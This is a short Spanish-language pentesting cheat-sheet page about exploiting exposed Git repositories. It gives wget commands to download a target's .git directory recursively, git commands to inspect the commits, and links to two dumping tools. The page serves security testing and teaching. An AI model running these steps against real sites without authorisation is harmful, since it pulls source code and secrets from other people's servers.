> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/explotacion/servicios/git.md).

# Git

## General

Repositorio de Git expuesto.

```sh
http://<target>/.git/
https://<target>/.git/
```

Descargar repositorio de Git expuesto.

```sh
wget -r -np http://<target>/.git/
wget -r -np https://<target>/.git/
```

Revisión de repositorio descargado.

```sh
git log --pretty=oneline
git cat-file -t <commit-hash>
git cat-file -p <commit-hash>
```

## Herramientas

* <https://github.com/internetwache/GitTools>
* <https://github.com/liamg/gitjacker>
